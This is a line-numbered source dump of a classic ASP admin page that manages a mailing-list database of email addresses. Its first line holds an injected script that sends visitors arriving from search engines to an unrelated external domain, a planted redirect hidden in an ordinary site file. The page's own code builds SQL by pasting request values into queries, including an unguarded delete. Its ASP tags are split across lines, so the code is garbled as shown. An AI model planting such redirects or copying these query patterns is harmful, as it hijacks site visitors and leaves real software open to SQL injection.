d:\wwwroot\wuchunhua\sendmail\mail_mailaddress.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="inc_CheckLogin.asp"-->
002:
<!--#include file="inc/page_cls.asp"-->
003:
<html>
004:
<head>
005:
<title>管理</title>
006:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
007:
<link rel="stylesheet" href="inc/style.css">
008:
<script language="javascript" src="inc/js.js"></script>
009:
</head>
010:
<body>
011:
<%
dim page
012:
page=request.QueryString("page")
013:
classid=checkstr(request.QueryString("classid"))
014:
keys=checkstr(request.QueryString("keys"))
015:
016:
urlQuery="&classid="& classid &"&keys="& keys
017:
018:
action=request.QueryString("action")
019:
select case action
020:
case "add" : CheckString("16"):call add
021:
case "addsave" : CheckString("16"):call addsave
022:
case "list" : CheckString("110"):call list
023:
case "upsave" : call upsave
024:
end select
025:
026:
sub list
027:
%
>
028:
<table width="99%" border="0" align="center" cellpadding="3" cellspacing="1" class="tablebk" style="border-collapse: collapse">
029:
<tr>
030:
<td colspan="4" class="table_titlebg">邮件地址列表</td>
031:
</tr>
032:
<tr>
033:
<td colspan="4" align="center" class="table_trbg01"><table width="100%" border="0" cellspacing="0" cellpadding="0">
034:
<tr>
035:
<td width="40%"> </td>
036:
<form name="Form2" method="get" action="?">
037:
<input type="hidden" name="action" value="list">
038:
<td width="60%" align="right">
039:
查找：
040:
<select name="classid">
041:
<option value="">所有分类</option>
042:
<%
set rs=conn.execute("select * from [vn_mailclass] order by orders, id desc")
043:
if rs.eof then rs.close:set rs=nothing:alert "● 请选添加邮址分类；","back"
044:
do while not rs.eof
%
>
045:
<option value="
<%
=rs("id")
%
>"
<%
=SetSelected(rs("id"),classid)
%
>>
<%
=rs("classname")
%
></option>
046:
<%
047:
rs.movenext
048:
loop
049:
rs.close:set rs=nothing
050:
%
>
051:
</select> <input name="keys" type="text" id="keys" size="15" maxlength="30" class="INPUT" value="
<%
=keys
%
>">
052:
<input type="submit" name="" value="搜索"></td>
053:
</form>
054:
</tr>
055:
</table> </td>
056:
</tr>
057:
<form name="Form1" method="post" action="?action=upsave&page=
<%
=page
%
>
<%
=urlQuery
%
>" onSubmit="return confirm('确定要执行此操作吗？\n\n注意：执行删除将不可恢复数据');">
058:
<tr>
059:
<td align="center" class="table_trbg02"><strong>ID</strong></td>
060:
<td align="center" class="table_trbg02"><strong>所属分类</strong></td>
061:
<td align="center" class="table_trbg02"><strong>邮件地址</strong></td>
062:
<td align="center" class="table_trbg02"><strong>选择</strong></td>
063:
</tr>
064:
<%
065:
dim PageMaxSize
066:
PageMaxSize=12 '每页几条
067:
Set MyPage = New XdownPage '创建对象
068:
069:
if keys<>"" then
070:
sql2 = sql2 & " and A.mailaddress like '%"& keys &"%' "
071:
end if
072:
if isInteger(classid) then sql2 = sql2 & " and A.classid = "& classid &" "
073:
074:
MyPage.GetSQL ="SELECT A.id,A.mailaddress,B.classname FROM [vn_mailaddress] AS A LEFT JOIN [vn_mailclass] AS B ON A.classid = B.id where 1=1 "& sql2 &" order by A.id desc"
075:
MyPage.PageSize = PageMaxSize '设置每一页的记录条数据为10条
076:
Set rs = MyPage.GetRS() '返回Recordset
077:
078:
If rs.eof Then
079:
response.Write("<tr><td height=""30"" align=""center"" colspan=""4"" class=""table_trbg02"">没有任何信息！</td></tr>")
080:
else
081:
For i=1 To MyPage.PageSize '显示数据
082:
If Not rs.eof Then
083:
%
>
084:
<tr>
085:
<td align="center" class="table_trbg02">
<%
=rs("ID")
%
></td>
086:
<td align="center" class="table_trbg02">
<%
=rs("classname")
%
></td>
087:
<td align="center" class="table_trbg02">
<%
=rs("mailaddress")
%
></td>
088:
<td align="center" class="table_trbg02"><input type="checkbox" name="id" value="
<%
=rs("ID")
%
>"><input type="hidden" name="hideid" value="
<%
=rs("ID")
%
>"></td>
089:
</tr>
090:
<%
091:
rs.movenext
092:
Else
093:
Exit For
094:
End If
095:
next
096:
End If
097:
%
>
098:
<tr>
099:
<td colspan="4" align="right" class="table_trbg02">
100:
<input type="checkbox" name="chkall" value="on" onClick="CheckAll(this.form,'id')" />
101:
全选
102:
<select name="point">
103:
<option value="">操作方式</option>
104:
<option value="1">删除</option>
105:
</select>
106:
<input type="submit" name="Submit" value="执 行">
107:
108:
<input type="reset" name="Submit2" value="重 写"> </td>
109:
</tr>
110:
</form>
111:
<tr>
112:
<td colspan="4" align="center" class="table_trbg02">
<%
if MyPage.ShowTotalRecord>0 then MyPage.ShowPage()
%
></td>
113:
</tr>
114:
</table>
115:
<%
end sub
116:
117:
sub add
118:
%
>
119:
120:
<table width="99%" border="0" align="center" cellpadding="4" cellspacing="1" bordercolordark="#F1F3F5" class="tablebk">
121:
<form name="Form1" method="post" action="?action=addsave">
122:
<tr>
123:
<td height="15" colspan="2" class="table_titlebg">邮件地址添加</td>
124:
</tr>
125:
<tr>
126:
<td width="32%" height="15" align="right" class="table_trbg02"><strong>归属分类：</strong></td>
127:
<td class="table_trbg02"><select name="classid">
128:
<%
set rs=conn.execute("select * from [vn_mailclass] order by orders, id desc")
129:
if rs.eof then rs.close:set rs=nothing:alert "● 请选添加邮址分类；","back"
130:
do while not rs.eof
%
>
131:
<option value="
<%
=rs("id")
%
>">
<%
=rs("classname")
%
></option>
132:
<%
133:
rs.movenext
134:
loop
135:
rs.close:set rs=nothing
136:
%
>
137:
</select></td>
138:
</tr>
139:
<tr>
140:
<td height="15" align="right" class="table_trbg02"><strong>邮址列表：</strong><br>回车或逗号分隔</td>
141:
<td class="table_trbg02"><textarea name="mailcontent" cols="64" rows="24" class="textarea"></textarea></td>
142:
</tr>
143:
<tr>
144:
<td height="35" colspan="2" align="center" class="table_trbg02"><input type="submit" name="Submit" value=" 添加 ">
145:
146:
<input type="reset" name="Submit" value=" 重置 "></td>
147:
</tr>
148:
</form>
149:
</table>
150:
151:
<%
152:
end sub
153:
sub addsave
154:
classid=GetForm("classid")
155:
mailcontent=GetForm("mailcontent")
156:
157:
if not isInteger(classid) then alert "● 请选择归属分类；","back"
158:
if mailcontent="" then alert "● 请输入邮址列表；","back"
159:
160:
mailcontent=replace(mailcontent," ","")
161:
if mailcontent="" then alert "● 请输入邮址列表；","back"
162:
163:
mailcontent=lcase(mailcontent)
164:
mailcontent=replace(mailcontent,chr(13)&chr(10),",")
165:
mailcontent_arr=split(mailcontent,",")
166:
167:
e=0
168:
for i=0 to ubound(mailcontent_arr)
169:
if IsValidEmail(mailcontent_arr(i)) then
170:
'检测重复
171:
set rs=conn.execute("select id from [vn_mailaddress] where mailaddress='"& mailcontent_arr(i) &"' and classid="& classid &"")
172:
if not rs.eof then
173:
repeat_mailcontent = repeat_mailcontent & "," & mailcontent_arr(i) '重复就相加重复的email地址
174:
Else
175:
e=e+1
176:
succeed_mailcontent = succeed_mailcontent & "," & mailcontent_arr(i) '重复就相加重复的email地址
177:
conn.execute("insert into [vn_mailaddress](classid,mailaddress)values("& classid &",'"& mailcontent_arr(i) &"')") '不重复就入库
178:
end if
179:
rs.close:set rs=nothing
180:
else
181:
err_mailcontent = err_mailcontent & "," & mailcontent_arr(i)
182:
end if
183:
next
184:
if repeat_mailcontent<>"" then repeat_mailcontent = mid(repeat_mailcontent,2)
185:
if err_mailcontent<>"" then err_mailcontent = mid(err_mailcontent,2)
186:
if succeed_mailcontent<>"" then succeed_mailcontent = mid(succeed_mailcontent,2)
187:
%
>
188:
<table width="99%" border="0" align="center" cellpadding="4" cellspacing="1" bordercolordark="#F1F3F5" class="tablebk">
189:
<form name="Form1" method="post" action="?action=edit&act=editsave&id=
<%
=id
%
>&page=
<%
=page
%
>
<%
=urlQuery
%
>">
190:
<tr>
191:
<td height="15" colspan="3" class="table_titlebg">邮件地址编辑</td>
192:
</tr>
193:
<tr>
194:
<td width="33%" height="15" align="center" class="table_trbg02">成功的邮址(已入库)</td>
195:
<td width="33%" align="center" class="table_trbg02">失败的邮址</td>
196:
<td width="33%" align="center" class="table_trbg02">重复的邮址</td>
197:
</tr>
198:
<tr>
199:
<td height="15" align="center" class="table_trbg02"><textarea name="textarea1" cols="26" rows="28" style="width:85%">
<%
=replace(succeed_mailcontent,",",vbcrlf)
%
></textarea></td>
200:
<td align="center" class="table_trbg02"><textarea name="textarea2" cols="26" rows="28" style="width:85%">
<%
=replace(err_mailcontent,",",vbcrlf)
%
></textarea></td>
201:
<td align="center" class="table_trbg02"><textarea name="textarea3" cols="26" rows="28" style="width:85%">
<%
=replace(repeat_mailcontent,",",vbcrlf)
%
></textarea></td>
202:
</tr>
203:
<tr>
204:
<td height="35" colspan="3" align="center" class="table_trbg02"><input type="button" name="Submit22" onClick="javascript:window.location='?action=add';" value="返回继续添加"></td>
205:
</tr>
206:
</form>
207:
</table>
208:
209:
<%
end sub
210:
sub upsave
211:
point=GetForm("point")
212:
if point="" then alert "您没有指定操作方式!","back"
213:
214:
if point="1" Then
215:
CheckString("111")
216:
id=GetForm("id")
217:
if id="" then alert "请选择要删除的信息!","back"
218:
conn.execute("delete From [vn_mailaddress] where id in ("& id &")")
219:
alert "所选信息删除成功！","?action=list&page="& page & urlQuery
220:
end if
221:
end sub
222:
%
>
223:
</body>
224:
</html>
225:
226: